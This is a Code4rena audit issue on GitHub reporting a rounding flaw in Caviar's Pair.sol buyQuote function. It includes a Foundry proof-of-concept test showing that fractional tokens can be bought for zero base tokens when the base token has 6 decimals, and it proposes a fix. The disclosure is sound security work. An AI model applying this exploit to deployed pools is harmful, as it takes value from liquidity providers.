Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

User can buy fractional tokens for free. #86

Closed
code423n4 opened this issue Dec 15, 2022 · 3 comments
Closed

User can buy fractional tokens for free. #86

code423n4 opened this issue Dec 15, 2022 · 3 comments
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working duplicate-141 satisfactory satisfies C4 submission criteria; eligible for awards

Comments

@code423n4
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L399

Vulnerability details

Impact

User could buy fractional tokens for free.

Proof of Concept

Currently the implementation of buyQuote function is as follow:

function buyQuote(uint256 outputAmount) public view returns (uint256) {
        return (outputAmount * 1000 * baseTokenReserves()) / ((fractionalTokenReserves() - outputAmount) * 997);
    }

This will calculate the amount of base token a user must spend to get outputAmount of fractional token. As you can see this is an integer
division, it could result in zero if outputAmount * 1000 * baseTokenReserves()) < ((fractionalTokenReserves() - outputAmount) * 997) and this could happen often when base token with small number of digits is used, I should note here that fractional token is always 18 digits.
Below is a test case to demonstrate this finding, I use a 6 digits ERC20 tokens:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import "../../shared/Fixture.t.sol";
import "../../../src/Caviar.sol";
import "../../../script/CreatePair.s.sol";
import "solmate/tokens/ERC20.sol";

contract MockERC20SixDigit is ERC20 {
    constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_, 6) {}
}


contract TestBuyFractionalToken is Fixture {
    MockERC20SixDigit testBaseToken;

    function setUp() public {
        testBaseToken = new MockERC20SixDigit('test token', 'TEST');
        p = c.create(address(bayc), address(testBaseToken), bytes32(0));

        // Give this address some base tokens
        deal(address(testBaseToken), address(this), 100*1e6, true);
        // Give the pair some base tokens and fractional tokens
        deal(address(testBaseToken), address(this), 100*1e6, true);
        deal(address(p), address(p), 100*1e18, true);
        testBaseToken.approve(address(p), type(uint256).max);
    }

    function testBuyWithoutPaying() public {
        uint256 buyAmount = 1e16;
        uint256 baseTokenBalanceBefore = testBaseToken.balanceOf(address(this));
        uint256 fractionalTokenBalanceBefore = p.balanceOf(address(this));

        // Buy token
        uint256 spentAmount = p.buy(buyAmount, type(uint256).max);

        //
        uint256 baseTokenBalanceAfter = testBaseToken.balanceOf(address(this));
        uint256 fractionalTokenBalanceAfter = p.balanceOf(address(this));

        // The base token spent is 0
        assertEq(spentAmount, 0);
        // The base token balance is unchanged
        assertEq(baseTokenBalanceBefore, baseTokenBalanceAfter);
        // the fraction token balance is increased
        assertEq(fractionalTokenBalanceBefore + buyAmount, fractionalTokenBalanceAfter);

    }

}

Tools Used

Manual review

Recommended Mitigation Steps

I recommend you should check if variable inputAmount returned from function buyQuote is >0, only then the fractional tokens are transferred
to the buyer

@code423n4 code423n4 added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working labels Dec 15, 2022
code423n4 added a commit that referenced this issue Dec 15, 2022
@c4-judge
Copy link
Contributor

berndartmueller marked the issue as duplicate of #53

@c4-judge
Copy link
Contributor

berndartmueller marked the issue as satisfactory

@c4-judge c4-judge added the satisfactory satisfies C4 submission criteria; eligible for awards label Jan 10, 2023
@C4-Staff
Copy link
Contributor

CloudEllie marked the issue as duplicate of #141

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working duplicate-141 satisfactory satisfies C4 submission criteria; eligible for awards
Projects
None yet
Development

No branches or pull requests

3 participants